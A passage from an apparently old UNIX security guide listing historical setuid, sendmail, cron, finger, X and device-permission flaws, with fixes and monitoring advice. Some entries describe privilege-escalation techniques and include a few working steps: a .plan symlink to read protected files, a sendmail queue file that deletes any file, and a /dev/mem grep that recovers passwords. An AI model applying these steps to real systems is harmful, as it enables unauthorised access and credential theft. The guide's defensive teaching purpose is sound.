requiring access to the system an account and put each of the members into a group (in `/etc/group'). For example: Bart, Lisa, and Maggie are working on a project. Give each of them normal user accounts to the system. Create a new group in `/etc/group'. simpsons:*:800:bart,lisa,maggie The groupname is "simpsons", the group ID is "800", and the members are "bart, lisa, and maggie". Simple, yet so much more secure. Now for the three members of "simpsons" to share files, they just need to make sure the files they want to share are accessible by the group "simpsons". More information can be obtained by reading your systems documentation concerning groups. File System Security ******************** "No such file or directory" -- ls -l / The UNIX filesystem is hierarchical, with files organized into directories, and filesystems, in most cases, restricted to a single physical hardware device such as a disk drive. Filesystems typically include facilities for naming files and for controlling access to files [McKu89]. Since the filesystem contains the most important parts of your operating system, it should be made secure. That tends to be a difficult task. While most of these have been fixed, new variants of them keep happening over and over in new software so they are of educational value. Set UID Programs ================ When a program is executed, the process created from the program is assigned four numbers that indicate who that process belongs to. These are: * real UID * effective UID * real GID * effective GID Normally, the effective UID and GID are the same as the real. The effective UID and GID are used by UNIX to determine a process' permissions. If the effective UID of a process is the same as the UID of the owner of a file, then that process has the owner's access permissions to the file; otherwise, if the effective GID of a process matches the GID of the group associated with a file, then that process has the group's access permissions; otherwise, a process is granted the access permissions of others. Here is the example in Pseudo-code: if effective UID matches UID of file then owner access else if effective GID matches GID of file then group access else other access Normally, whenever you execute a program, the effective and real UIDs and GIDs are set to your UID and GID, respectively. So if that process wants to read a particular file, then you must have read access to that file Setting the SUID permission on a program changes this behavior. When this permission is set, all processes created from that program will have the effective UID of the program's owner, and not yours. Because file access permissions are determined from the effective UID and not the real, the process from a SUID program has the same access permissions as the owner of that program, no matter who executes the program [Wood79]. at/cron ------- Commands to automatically run batch files. - Problem Program `/usr/lib/atrun' runs privileged by `cron'. Directory `/usr/spool/at' was writable by everybody. User went into `/usr/spool/at', ran a setuid root program, and then gave it a quit, creating a `core' file owned by root, then linked that file to have a name like a genuine at submission. `Atrun' takes the uid from the owner of the submission file, so when the owner is root it runs privileged for the user. - Problem Next variation on `atrun': `/usr/spool/mail' directory was writable by everybody. Submit a program requiring privileges to `atrun' as self. Then link it to `/usr/spool/mail/root'. Then `mail' something to root which changes ownership of `/usr/spool/mail/root' to root, hence again fooling `atrun' into running the submission privileged. - Problem `/usr/lib/crontab' was owned by bin. man was setuid bin. Users were able to get a shell setuid bin. This enabled them to modify `crontab', and hence do anything. - Problem Next variation on `cron'. Link `/usr/lib/crontab' to `/usr/spool/mail/self'. Then send mail to self; `mail' changes the ownership of `crontab' to self. Then edit `crontab' to remove the mail and add command to give privileges to self. + SOLUTION Since these flaws are in older versions of UNIX, you should consider upgrading the operating system or manually fixing the code and recompile. chfn ---- A program to allow a user to update his "finger" information. - Problem A bug in `passwd/chfn/chsh' is exploited when the length of a password entry in `/etc/passwd' is longer than BUFSIZ. A user can cause the length of his/her password entry to be longer than BUFSIZ with the `chfn' command and finally a super-user account like: xyz::0:0::: to be created in `/etc/passwd' + Solution Acquire the latest release of `chfn', compile, and install. finger ------ A program to report user information. - Problem Another `finger' problem involves `fingerd' which normally runs as root. Therefore, if a user's `.project' or `.plan' file is symbolically linked to another file which is not readable by an ordinary user, such as `/usr/local/adm/bad-logins', `fingerd' can tell the contents of the file. * Test $ ln -s some unreadable file .plan $ finger self@your hostname [Podunk.Edu] Login name: joeuser (messages off)In real life: Joe E. User Directory: /home/joeuser Shell: /bin/sh On since Apr 1 10:05:51 on ttyp4 from ws1.cs.podunk.edu No unread mail Plan: You should not be able to read this file. ... * Solution Acquire the latest release of `finger', compile, and install. man --- The UNIX on-line manual reading system. - Problem Berkeley `man' program was owned by user manuals and setuid. This was an attempt to allow it to create the nroff-ed copies in its own directory without allowing all users to write into that directory. User was able to get a shell owned by user manuals. Using this, he was able to over-write the `man' program with one which did his side effects and then called the real one. Then he waited for a super user to run `man'. The side effect of his program was to replace `/bin/sh' with one of his own writing. He had cleverly cut the size of the error messages so that his own `man' program was exactly the same size as the original. When super user executed `man' it would execute the file `/tmp/sh-' which happens to be a file name used by `man'. The intruder had previously stored a program as `/tmp/sh-' which when executed by super user would establish a setuid root shell. This was detected by setuid messages on the system console and also because there was a bug somewhere in the whole scheme that would lock up the system in a loop creating the setuid root shell over and over. - Problem The Berkeley `man' program was setuid bin and calls `more', a pager. `More' allowed the user to get a shell as bin and thus to write files owned by bin outside the manuals directory. Moral: setuid-anything can be as dangerous as setuid-root. * Solution Do not allow the `man' program to be set UID. rpc.rwalld ---------- 'rwalld' is a server that handles 'rwall' and 'shutdown' request. It is implemented by calling 'wall' to all the appropriate network machines. The rwalld daemon is normally invoked by 'inetd'. - Problem '/etc/utmp' is world writable; thus, can be written to by ANY user or process. 'rpc.rwalld' utilizes the information in '/etc/utmp' to determine what terminals to display information on. Since 'rpc.rwalld' is started by inetd (thus run by root), 'wall' does not check to make sure that the file it is writing to is a terminal. A rather clever user can rewrite '/etc/utmp' in such a way to have 'wall' write ANY information the user wants into '/etc/passwd' or any other file. If you still have an insecure 'tftp' enabled, this bug will allow not only local, but remote users to gain unauthorized root access. This same problem can be exploited using comsat and mail instead of rcp.rwalld and rwall. * Test Determine if your '/etc/utmp' is world writable. $ ls -l /etc/utmp -rw-rw-rw- 1 root 216 Mar 29 21:33 /etc/utmp + Solution Turn off 'rpc.rwalld' and contact your vendor for a fix. Later releases of SunOS have this problem corrected while leaving '/etc/utmp' world writable. If in doubt, turn it off until your vendor ensures you that the problem has been corrected. scripts ------- The shell programming language. - Problem There are several problems with having setuid shell scripts. There are three basic approaches which I know of to break these scripts: Environment Variables ..................... These methods involve setting values for the PATH and/or IFS variables. PATH is easy to get around either by explicitly setting it at the start of the script or by specifying the full paths to the commands. IFS applies only to `sh' scripts; normally, it only contains space, tab, and newline but, a script could be invoked with the character '/' in IFS; then the command `/bin/mv' would be interpreted as the command `bin' with the argument `mv'. This also applies to the `system()' call from C which invokes a Bourne shell. The workaround for IFS is to reset it to the appropriate value at the start of the script. Including assignments are interpreted before the input is segmented. rc files ........ For some reason, when `csh' is invoked suid, it reads the `.cshrc' file belonging to the real user rather than the uid it is running as. Obviously the user can put as many malicious commands in there as he likes. Thus it is necessary to invoke `csh' with the `-f' option to prevent it from reading `.cshrc'. Symbolic links .............. When an interpreter script is invoked via `execve()' the interpreter is invoked by tagging the script name onto the end of the `#!' line at the start of the script. The first idea is to make the script name look like another argument of which the most useful is `-i'. This can be done by creating a symbolic link to the real script. This does not apply to `csh', which will not run suid unless invoked with the `-b' option which terminates option processing. The fix with `sh' is to give the argument `-' which has the same effect. The really nasty problem, which has no easy fix, is that it is possible after invoking the script through symbolic link to make that symbolic point to a different file before the interpreter begins to read commands. The timing on this is important in order for the method to work, but is not difficult to achieve. + Solution DO NOT allow set UID shell scripts on the system. sendmail -------- A mailer independent Email handling subsystem. - Problem 4.3BSD `sendmail' (prior to 5.61) runs setuid root and allows a user-supplied file of addresses with the `:include:' syntax on the command line. It fails to check where the user has permission to access the file to be included, so intruders were able to use `sendmail' to read any file in the system. - Problem A bug connected to the `-C' option which causes an alternative configuration file to be used. If the file is a protected file which is actually not a send mail configuration file, `sendmail' will print out some contents of the file as an error message. - Problem Another bug involves the `-q' and `-oQ' options and causes any file to be deleted. For example, if the qf file looks like this: P28 T599831504 Dfilename Suser Ruser H?P?return-path: H?F?from: user (User Name) H?x?full-name: User Name HTo: user Hsubject: Gotcha after the command `sendmail -q -oQ' is issued, file `filename' will be deleted and its content will be mailed to user. + Solution Obtain the latest version of sendmail. - Problem When delivering to files and programs, `sendmail' does not do an `initgroups(3)' after forking on final delivery. As a result, the sender's group list remains in effect throughout this stage. This is particularly serious when root is sending the mail since a program executed out of a `.forward' file gains interesting privileges like `wheel' and `kmem'. A related hole can be broken down into a "problem" and an "aggravation". The "problem" is that queued local mail no longer has the original recipient's uid associated with it. Control files only store a list of exploded recipients (i.e. users, files and programs) -- one per line -- each prefaced with an `R'. So, after an address resolves to the local machine and has undergone alias and ".forward" expansion, if the letter happens to get queued, on the succeeding queue run sendmail doesnt know who to run the final delivery as. The "aggravation" is that, when doing this final delivery of queued local mail, sendmail will `setuid()' itself to the sender's uid if it is available; in general, the sender's uid will be used when the sender is on the local machine. As a result, a user can run a program as anyone who sends them mail from the local machine. There is also an added "complication"; the default uid and gid are also set to the sender when delivering mail! Since the default uid and gid are only used when calling `setuid()' and `setgid()' (to reset the uid/gid before doing final delivery), these variables should never be set to the sender. + Solution This problem will be fixed in the next version of Berkeley sendmail. Patches can be obtained from your local UNIX guru. Set GID Programs ================ mail ---- - Problem `Mail' and `mailx' are set GID to the group `mail'. There are useful options to these utilities that will allow you to read anyones mail. The use of other features in the `mail' program can allow the user to spawn a shell with the full permissions of the group `mail'. + Solution Do not have `mail' set GID. This may require some other fixes to sendmail and other applications. Contact your vendor for more information. man --- - Problem `Man' runs set GID to group man. This causes nearly the same effects as having `man' set UID. + Solution Do not run `man' set GID. Startup files ============= - Problem Users have had their directories writable by others. Said others have installed or modified `.login' and `.cshrc' files to get control of the owner's account. (Doesn't compromise the whole system, but does compromise the affected account). With 4.2BSD and later the ability to make a `.rhosts' file in another user's account is an entry to that account. For added subtlety, have a `.logout' file that creates the `.rhosts' and a line in `.login' that removes it, so the real user is unlikely to see it. An abridged list follows: `/etc/Profile' Global start up file for Bourne shells `/etc/Login' Global start up file for C-shells `.profile' User's personal start up file for Bourne shells `.cshrc' `.login' User's personal start up file for C-shells `.logout' Personal file executed at logout by C-shells `.kshrc' User's personal start up file for Korn shells `.kermrc' Used by `kermit' to personalize it's environment `.exrc' Used by the `vi' editor to set up macros and such `.emacs' Used by the `emacs' editor for customization `.mailrc' Used by mailer programs for initialization + Solution Monitor permissions on startup files carefully. Permissons for a users personal dot files should be 0600. -rw------- 1 joeuser student 1251 May 8 13:35 /home/joeuser/.cshrc User Utilities ============== User utilities have always been the target for all sorts of attack. The chances of finding a victim are astronomical. Windowing Systems ----------------- Windowing systems are the wave of the future, not only for developers and users, but for hackers. Windowing code tends to very complex and therefore tends to have many bugs in its infancy. Some of these bugs [often known as features] are major security holes. Sunview ....... Sunview, also known as suntools, is used on workstations running SunOS. - Problem The console's frame buffer, `/dev/fb', is world readable. This allows clever users to dump images of a workstations screen for viewing. This comes in handy when your professor is logged in writing up next week's exam. + Solution Force `login' to properly set the modes of the frame buffer. Version 4.1 of SunOS provides this feature. - Problem Under SunOS running the SunView windowing system, it is possible to remotely access files using SunView selection_svc(1) subprocess and the RPC facility. The selection_svc program handles all selections made by SunView client programs. It is used to modify resource files and cut/paste selections. The way these clients communicate with selection_svc is through RPC calls. The problem is that the selection service process will accept RPC requests from any user, both locally and remotely. No authentication is preformed. What's worse it that it is possible to scan for local systems having the RPC service available. The command: $ rpcinfo -b selection_svc 6 will print a list of systems running selection_svc on the local broadcast network. For Sun's 386i systems, the problem is more complicated. On these systems, selection_svc is started when '/etc/init' runs '/etc/rc'. Because init runs as root, you tell selection_svc to read any file. + Solution Obtain the proper fix from Sun or run the X Windowing system. X Windows ......... The X window system is used by many different systems ranging from the Cray 2 (UNICOS 5.x) to Vax 11/785 (BSD 4.3) to IBM PC (Xenix). This makes the probability of a hole being found much greater. - Problem The `xterm' terminal emulator provided as part of X windows has a rather bad security hole. This problem exists in X version 11, both releases 3 and 4, and possibly other versions as well. To the best of my knowledge, this bug has not been used in a malicious or harmful way by anyone, but the potential is frightening. The `xterm' emulator has a feature that allows a user to keep a logfile of what's been typed in the xterm window. The feature also allows a command to be specified as the logfile, in which case what would normally be written to the logfile is instead written to the input of the given command (standard UNIX-style pipeline setup). The security hole arises because the xterm emulator defines some escape sequences which can be sent to the xterm window to control the logging feature: turning logging on or off and changing the logfile name. These escape sequences could conceivably be embedded in a mail message, and the message sent to a victim. If the victim displays the message in an xterm window (for example by running mail from within an xterm window), the escape sequences will effectively cause the victim to run whatever commands the attacker wishes. The victim will probably be unaware of the attack, since the escape sequences are not displayed in the xterm window. * Test There is no simple test to perform that will adequately show if your system has this flaw without showing exactly how to exploit the hole. Therefore, you should contact your local security guru. + Solution Obtain patches from your vendor or MIT. DECwindows .......... This runs exclusively on DEC workstations. - Problem DECwindows has a bug which stores user's plain text password in memory. The password was transferred between `login' and `Xprompter' and unfortunately will not be destroyed after authentication, even after the user logs out. Since `/dev/mem' is readable by everybody, the password could be obtained by scanning `/dev/mem' for a specific string pattern like $ od -s /dev/mem | grep assw | grep name 12345678 name: joeuser\npassword: I'mw/7CG\n + Solution Contact you DEC vendor for fixes. mail ---- - Problem '/bin/mail' can be caused to invoke a root shell if given the (im)proper arguements. + Solution Contact your vendor for the necessary patches. Sun Patch ID: 100224-01. mkdir ----- - Problem Some old UNIX systems have a bug concerned with the `mkdir' command. This bug is caused by resource competition. Taking advantage of this bug, a user has a little chance to change the ownership of any file. This bug is very randomized and needs a long time to reproduce. + Solution New versions of UNIX do not have this problem. Upgrade your operating system to better your chances. su -- - Problem On all Ultrix (2.x and 3.0) systems, `su' still cannot correctly track the super user log. The following `su' tells nothing about who has become a super user or who has tried the `su' command but failed. $ su < /dev/tty A message like: SU: /dev/tty on the console SU: /dev/tty Mon Apr 1 12:20:41 1989 in the syslog file - Problem At one time the `su' program with the `-s' option would execute a user's program as shell in privileged mode; hence, the user's program could set itself to setuid root. + Solution Contact your vendor or upgrade. ulimit ------ - Problem On UNIX System V based systems, there is a bug which causes the password file to be destroyed totally or to be truncated partially. When this bug results in a partial `/etc/passwd' file, an entry similar to `xyz::0:0:::' will be created. This bug is related to the current setting of the users ulimit. * Test There is no simple test to perform that will adequately show if your system has this flaw without showing exactly how to exploit the hole. Therefore, you should contact your local security guru. + Solution Contact your vendor for a fix or do not allow users to lower their ulimit value. vi -- - Problem A rather barbaric race condition in `expreserve' that allows the setuid program to be compromised by changing the permissions of a file. This bug exists in all expreserves up to and including Berkeley 4.3. (well not quite). On all System V and earlier releases this works. Under System V `expreserve' places the Ex temp file in the directory `/usr/preserve/$LOGNAME' and under the Berkeley releases it places them under either `/usr/preserve' or `/var/preserve'. This feature will definitely allow security to be breached on all standard System Vs and all Berkeley-ish systems that have the `/usr/preserve' directory writable by the user (Note: SUNOS has this directory unwritable by default). The System V bug was relatively unavoidable (though the addition of the "S" bit to directories in SVR3.2 could close the hole) until SVR4 but the Berkeley bug should have been fixed as soon as the `fchown()' system call was added to BSD. Basically the "hole" is that expreserve does: fd = creat("/usr/preserve/Exaaa$PID, 0600); chown("/usr/preserve/Exaaa$PID, real_uid, real_gid); when it should do a: fd = creat("/usr/preserve/Exaaa$PID, 0600); fchown(fd, real_uid, real_gid); which avoids the race (it changes the permission on the inode that was `creat()''ed and not the inode whose name is `/usr/preserve/Exaaa$PID'). The previous examples are actually simplified as expreserve actually looks at the uid and gid as stored in the `/tmp/Ex$PID' file and compares them to the `getuid()' and `getgid()' return values. The actual race is that a context switch may occur between the `creat()' and `chown()' in expreserve that allows another process with write permission to the target directory to `unlink()' the `creat()''ed file and place a hard link to another file by that name in the target directory, which expreserve subsequentialies `chown()'s to your uid. This feature allows any file on the same device to be `chown()''ed to you. Though you may see support for symbolic links, on the version of UNIX that I have tested this on, this will only change permissions on the symlink. I find this confusing as `ELOOP' is an alleged failure condition for `chown()' implying that a symbolic link resolution. * Test The procedure for demonstrating this bug is to create a VALID non-zero length `/tmp/Ex$PID' file and copy it to the directory where the program is located under the name data. To do this edit a junk file, make some changes and escape to a shell and check the `/tmp' directory for a non-zero length `Ex$PID' file owned by you, copy it to the testing directory and run the program that follows. Note: This program needs to be modified to run under System V to support `/usr/preserve/$USER/Exaaa$PID' targets, it has been tested under SUNOS 4.x and HPUX. For performance reasons, this bug works best if you make a hard link to the target file in the directory that expreserve places the editor temporary. Less chance sleeping on an inode (hence the `chdir()'). + Solution Obtain a new version of `expreserve'. yppasswd -------- There have been lots of security problems with Sun's Yellow Pages facility. Some of these involve security holes in programs; others involve the way defaults are set when the system is shipped, such that any host in the world is trusted. Programming Utilities ===================== TIOCCONS -------- TIOCCONS is the ioctl used to redirect the output of /dev/console to go to a specified pty. This is mostly used on workstations to redirect console messages to a particular window. Xterm uses this feature (xterm -C). - Problem It appears that the problem is that any users that use this will be able to read information from the console. The problem is much worse under SunOS 4.1 (and older versions). It allows the process to write on the pty simulating data from the console. This can be hazardous if the current user on the console is root. + Solution Contact your vendor for the appropriate patch. The SunOS Bug ID is #1008324. TIOCSTI ------- - Problem The TIOCSTI bug is an old one which has been fixed in 4.3BSD. But, it has not been fixed in 4.2BSD and its derivatives. This bug allows an ordinary user to access another terminal remotely without touching its keyboard if the user has write permission on that terminal. + Solution To really fix this bug, it requires the upgrading of your operating system or you have to hack the kernel alone. As a kludge, you could modify programs such as `login', `write', `wall', etc. to insure that the permissions on terminals are NOT world readable at any time. This takes a considerable amount of time and effort. gets() ------ - Problem The `gets()' function fails to check for buffer overflow in its input. This allows a carefully constructed string to be sent to `gets()' to overwrite the buffer and alter the stack frame. If done properly to a set UID/GID program, it can allow a super user shell to be created. + Solution Use `fgets()' in place of `gets()'. popen() ------- - Problem As written, `popen()' constructs a pipe between the calling process and a command. It utilizes `/bin/sh'; therefore, if it is used in set UID/GID programs, it can be fooled in executing dangerous code. + Solution Avoid using `popen()' or carefully construct your programs environment to avoid having nasty side effects. ptrace() -------- - Problem SunOS provides a variant of the 4.3 BSD ptrace() facility which permits a process to be traced without prior arrangement if its effective UID matches that of the tracing process (or the tracing process has super-user privileges). Unfortunately, the effective UID alone does not necessarily describe all of the privileges a process is entitled to use. Many set-UID programs desire to utilize the set-UID access permissions for only a few operations and wish all others to occur with the privileges of the invoking user. As process access permissions are supposed to determined by the effective UID and GIDs only, the recommended method [1] for a process to temporarily grant itself the privileges and restrictions of either its invoker (real UID) or set-UID file owner (effective UID) is to swap its real and effective UIDs via setreuid(geteuid(), getuid()) or a similar operation. Therefore, prudent programs often execute most of their code with their effective UID set to the invoker's UID, and enable their set-UID privileges only when necessary to perform particular (apparently privileged) operations. Such a process can be be manipulated with ptrace() if one can arrange to have ptrace(PTRACE_ATTACH) applied to it while it is running with its effective UID set to the invoker's effective UID, at which point it can be forced to execute code specified by the tracing process, including code which sets its effective UID back to that of the set-UID file owner. A similar (but more direct) mechanism can be used to obtain the privileges of set-GID programs. As ptrace(PTRACE_ATTACH) ignores GIDs completely, it can be applied to virtually any set-GID program, provided that it is not also set-UID. The process can then be manipulated in a way similar to the set-UID programs mentioned above. + Solution This requires a fix to the kernel. It has been fixed in SunOS 4.1.1. setpgrp() --------- - Problem There is a bug in 4.2BSD which allows you to set your process group and your terminal process group to any value you like. This results in a nasty security feature. You can send a signal to any process group which in turn can send the signal to any process. This allows a user to stop your favorite security daemon, bother `init' (bring the system down to single user?), and so on... + Solution The fix for this bug requires modification to the system's kernel. For best results, contact your vendor for an upgrade. system() -------- - Problem The `system()' call, like `popen()', invokes a Bourne Shell. + Solution Don't use the `system()' call, especially in a set UID program. Encryption ========== - Problem There are several utilities available to encrypt on-line files to make them unreadable. + Solution These programs are normally based on single rotor enigma encryption engines. Schemes such as this are inherently insecure and should not be used if you really expect the data to be safe. There is even a set of tools publically available to decrypt files that have been encrypted with `crypt(1)'. Crypt Breakers' Workbench ------------------------- Crypt Breakers' Workbench --- By Robert W. Baldwin The Crypt Breakers' Workbench (CBW) is an interactive multi-window system for mounting a cipher-text only attack on a file encrypted by the Unix crypt command. CBW is a workbench in the sense that it provides the user with an integrated set of tools that simplify the initial, middle and final portions of the decryption process. A user interacts with the workbench by choosing tools and setting parameters. CBW carries out the work and displays the results. A moderately experienced user of CBW can easily decrypt both long and short messages when bigram statistics are known for the message space. The basic cryptanalytic techniques used by CBW are described in a paper by Reeds and Weinberger that appeared in the October 1984 issue of the ATT Bell Laboratories Technical Journal. Devices ======= The security of devices is an important issue in UNIX. Device files are used by the various programs to access the data on the disk drives or in memory. If these device files are not properly protected, your system is vulnerable to attack. Memory ------ - Problem Files such as `/dev/mem', `/dev/kmem', and `/dev/drum' should never be world readable and most certainly not world writable. This results in the user being able to read structures within the kernel called clists. Clists contain a lot of interesting information. One of the pieces of data that an intruder might like to see is all of the keystrokes a user is typing. This works out well if the user is changing his password or `su'-ing to root. A writable memory would allow a user to patch his UID in the kernel and gain super user access immediately. * Test Under SunOS 3.5 ls -l /dev/*mem /dev/drum crw-r--r-- 1 root wheel 7, 0 Jul 19 1989 /dev/drum crw-r--r-- 1 root wheel 3, 1 Jul 19 1989 /dev/kmem crw------- 1 root wheel 3, 3 Jul 19 1989 /dev/mbmem crw-r--r-- 1 root wheel 3, 0 Jul 19 1989 /dev/mem + Solution If the system supports the group kmem and utilities such as `ps' and `top' can be set GID to group kmem, this should be done and the devices should be set to 640. If there is no notion of group kmem or an equivalent and programs such as `ps' are set UID to root, the devices should be owned by root and set to the mode 600. Disks ----- - Problem The disk devices, such as /dev/xy0c are readable by the world or writable by the world. * Test This is how things "should" look brw------- 1 root operator 3, 0 Dec 11 12:28 /dev/xy0a brw------- 1 root operator 3, 1 Jul 19 1989 /dev/xy0b brw------- 1 root operator 3, 2 Jul 19 1989 /dev/xy0c brw------- 1 root operator 3, 3 Jul 19 1989 /dev/xy0d brw------- 1 root operator 3, 4 Jul 19 1989 /dev/xy0e brw------- 1 root operator 3, 5 Jul 19 1989 /dev/xy0f brw------- 1 root operator 3, 6 Jul 19 1989 /dev/xy0g brw------- 1 root operator 3, 7 Jul 19 1989 /dev/xy0h + Solution Investigate any possible reason why the permissions were munged and change them to an exceptable mode immediately. = Discussion With very few exceptions, all devices should be owned by "root". One exception is the terminal. These will be owned, after login, by the user currently connected to that device. When the user logs off of that device, it should be changed back to it's original state. Terminal port permissions need to be watched closely. Monitoring Your System ********************** "STOP! Or we shall be forced to severely pummel you about the head" -- Batman In order to maintain a reasonable level of security, the system administrator needs to monitor his system. This involves constantly checking for security holes, security violations, and examining log files. Much of this can be automated, but human intervention is normally required to a certain degree. Monitoring programs should be used to set off bells and whistles to the system administrator, not to manage the security. Network Monitoring ================== Keeping up with network security is extremely difficult. There are an infinite number of ways to enter your system and its tough to know which doors to watch, which ones to lock, and which ones can be left open. Despite the difficulty, there are some basic tools that can be used to help. syslog ------ The `syslog' facility is a mechanism that enables any command to log error messages and informational messages to the system console, as well as to a log file. Typically, error messages are logged in the file `/usr/spool/log/syslog' along with the date, time, and name of the program sending the message of the program. A sample segment of the `syslog' file is shown below. Dec 24 12:10:06 ws1 nntpxmit: Greet=502 samt19 NNTP server can't talk to you. Dec 24 12:25:04 ws1 nntpd: rnews: inews: comp.foo: No valid newsgroups found. Dec 24 14:53:37 ws1 login: ROOT LOGIN ttyp3 FROM ws2.podunk.edu Dec 24 15:18:08 ws1 login: ROOT LOGIN ttyp3 FROM ws2.podunk.edu Dec 24 16:52:20 ws1 vmunix: sd2c: read failed, no retries Dec 25 06:01:18 ws1 vmunix: /: file system full Dec 25 08:02:03 ws1 login: ROOT LOGIN ttyp4 FROM wizard.hack.com Dec 25 08:28:52 ws1 su: joeuser on /dev/ttyp3 Dec 25 08:38:03 ws1 login: ROOT LOGIN ttyp4 FROM triceratops.itst Dec 25 10:56:54 ws1 automount[154]: host fserv not responding Dec 25 11:30:42 ws1 login: REPEATED LOGIN FAILURES ON ttyp3 FROM sys1.podunk.edu, daemon Dec 25 13:17:16 ws1 nntpxmit: Greet=502 samt19 NNTP server can't talk to you. Of particular interest in this sample are the messages from the `login' and `su' programs. Whenever someone logs in as "root," `login' logs this information. Generally, logging in as "root" directly, rather than using the `su' command, should be discouraged, as it is hard to track which person is actually using the account. `Login' also logs any case of someone repeatedly trying to log in to an account and failing. After three attempts, `login' will refuse to let the person try anymore. Searching for these messages in the `syslog' file can alert you to a cracker attempting to guess someone's password. Finally, when someone uses the `su' command, either to become "root" or someone else, `su' logs the success or failure of this operation. These messages can be used to check for users sharing their passwords, as well as for a cracker who has penetrated one account and is trying to penetrate others [Curr90]. showmount --------- The `showmount' command can be used on an NFS file server to display the names of all hosts that currently have something mounted from the server. With no options, the program simply displays a list of all the hosts. With the `-a' and `-d' options, the output is somewhat more useful. The first option, `-a', causes `showmount' to list all the host and directory combinations. For example: ws1.cs.podunk.edu:/usr/share ws1.cs.podunk.edu:/usr/local ws1.cs.podunk.edu:/var/spool/mail ws2.cs.podunk.edu:/usr/share ws2.cs.podunk.edu:/usr/local ws2.cs.podunk.edu:/var/spool/mail bart.podunk.edu:/usr/local maggie.pudunk.edu:/usr/local There will be one line of output for each directory mounted by a host. With the `-d' option, `showmount' displays a list of all directories that are presently mounted by some host. The output from `showmount' should be checked for two things. First, only machines local to your organization should appear there. Second, only "normal" directories should be mounted. If you find unusual directories being mounted, you should find out who is mounting them and why -- although it is probably innocent, it may indicate someone trying to get around your security mechanisms [Curr90]. FTP Logging ----------- Some versions of `ftp' allow administrators to turn on and off logging information. The standard BSD4.2 `ftp' does not do it, but there are publically available patches to the code to enable this feature. It is highly recommended. A sample log file might look like: @ws5.cs.podunk.edu (bsimpson) Wed May 30 19:32:11 1990 get /pub/gnu/gcc-1.37.tar.Z @131.170.8.11 (intruder) Wed May 30 22:13:01 1990 get /etc/passwd put /pub/annoying-msg joeuser@podunk.edu Wed Jun 6 08:19:16 1990 get /pub/sun-source/faces-1.3.tar.Z get /pub/gnu/emacs-18.55.tar.Z In the case where lines begin with an `@', an anonymous `ftp' was preformed. Traditionally, when using anonymous `ftp' is being done, the user supplies his login name as the password. It is done as common courtesy for system administrators so they can evaluate the usage of the anonymous `ftp' facility. The password is given within parenthesis after the hostname. In the case where lines start with a user name, a normal user logged in to transfer files. This allows managers to know who is transferring files and what files they are transferring. Account Monitoring ================== Account security should be monitored periodically in order to check for two things: * Users logged in when they shouldn't be (i.e., late at night, when they're on vacation, etc.) * Users executing commands they wouldn't normally be expected to use. last ---- `Last' looks back in the `wtmp' file which records all logins and logouts for information about a user, a teletype or any group of users and teletypes. Arguments specify names of users or teletypes of interest. Names of teletypes may be given fully or abbreviated. For example `last 0' is the same as `last tty0'. If multiple arguments are given, the information which applies to any of the arguments is printed. For example `last root console' would list all of "root's" sessions as well as all sessions on the console terminal. `Last' displays the sessions of the specified users and teletypes, most recent first, indicating the times at which the session began, the duration of the session, and the teletype which the session took place on. If the session is still continuing or was cut short by a reboot, `last' so indicates. `last' with no arguments displays a record of all logins and logouts, in reverse order. Here is an example: $ last -5 joeuser joeuser ttyp1 ws1.cs.podunk.e Wed Jun 6 10:04 still logged in joeuser ttyp1 ws1.cs.podunk.e Wed Jun 6 10:03 - 10:04 (00:01) joeuser ttyp3 bart.podunk.edu Tue Jun 5 15:01 - 15:01 (00:00) joeuser ttyp0 maggie.podunk.e Tue Jun 5 10:05 - 19:44 (09:38) joeuser console ws2.cs.podunk.e Tue Jun 5 09:49 - 10:05 (00:16) lastcomm -------- `Lastcomm' gives information on previously executed commands. `Lastcomm' with no arguments displays information about all the commands recorded during the current accounting file's lifetime. If called with arguments, `lastcomm' only displays accounting entries with a matching command name, user name, or terminal name. For example: $ lastcomm who simpsonb ttyp0 0 secs Wed Jun 6 10:03 mesg joeuser ttyp1 0 secs Wed Jun 6 10:03 biff joeuser ttyp1 0 secs Wed Jun 6 10:03 csh F joeuser ttyp1 0 secs Wed Jun 6 10:03 ... For each process entry, lastcomm displays the following items of information: * The command name under which the process was called. * One or more flags indicating special information about the process. The flags have the following meanings: * F The process performed a fork but not an exec. * S The process ran as a set-user-id program. * D The process dumped memory. * X The process was killed by some signal. * The name of the user who ran the process. * The terminal which the user was logged in on at the time (if applicable). * The amount of CPU time used by the process (in seconds). * The date and time the process exited. File System Monitoring ====================== Checking for security holes in the file system is another important part of making your system secure. Primarily, you need to check for files that can be modified by unauthorized users, files that can inadvertently grant users too many permissions, and files that can inadvertently grant access to crackers. It is also important to be able to detect unauthorized modifications to the file system, and to recover from these modifications when they are made [Curr90]. find ---- `Find' recursively descends the directory hierarchy for each pathname in a pathname-list, seeking files that match a boolean (logical) expression. Some of the more useful expressions that can be used are: -name filename True if the filename argument matches the current file name. Shell argument syntax can be used if escaped (watch out for [, ? and *). -perm -onum True if the file permission flags exactly match the octal number onum (see `chmod'). If onum is prefixed by a minus sign, more flag bits (017777, see `chmod') become significant and the flags are compared: (flags&onum) == onum. -nouser True if the file belongs to a user not in `/etc/passwd'. -nogroup True if the file belongs to a group not in `/etc/group'. -exec command' True if the executed command returns a zero value as exit status. The end of command must be punctuated by an escaped semicolon. A command argument {} is replaced by the current pathname. As an example, here is how you would get a list of all the set UID root files on your system. $ find / -perm -4000 -print /bin/df This by far not a complete list, it is here /bin/passwd just to show you what might pop up. /bin/login /bin/su /usr/bin/at /usr/bin/tip /usr/bin/cu /usr/bin/uucp /usr/etc/ping /usr/lib/sendmail /usr/lib/ex3.7preserve /usr/ucb/rsh /usr/ucb/rlogin ... Checklists ---------- Checklists can be a useful tool for discovering unauthorized changes made to system directories. They aren't practical on file systems that contain users' home directories since these change all the time. A checklist is a listing of all the files contained in a group of directories: their sizes, owners, modification dates, and so on. Periodically, this information is collected and compared with the information in the master checklist. Files that do not match in all attributes can be suspected of having been changed. There are several utilities that implement checklists available from public software sites; however, a simple utility can be constructed using only the standard UNIX `ls' and `diff' commands. First, use the `ls' command to generate a master list. This is best done immediately after installing the operating system, but can be done at any time provided you're confident about the correctness of the files on the disk. A sample command is shown below. $ ls -aslgR /bin /etc /usr > MasterChecklist The file MasterChecklist now contains a complete list of all the files in these directories. You will probably want to edit it and delete the lines for files you know will be changing often (e.g., `/etc/utmp', `/usr/adm/acct' ). The MasterChecklist file should be stored somewhere safe where a cracker is unlikely to find it (since he could otherwise just change the data in it): either on a different computer system, or on magnetic tape. To search for changes in the file system, run the above `ls' command again, saving the output in some other file, say CurrentList. Now use the `diff' command to compare the two files: $ diff MasterChecklist CurrentList Lines that are only in the master checklist will be printed preceded by a "<," and lines that are only in the current list 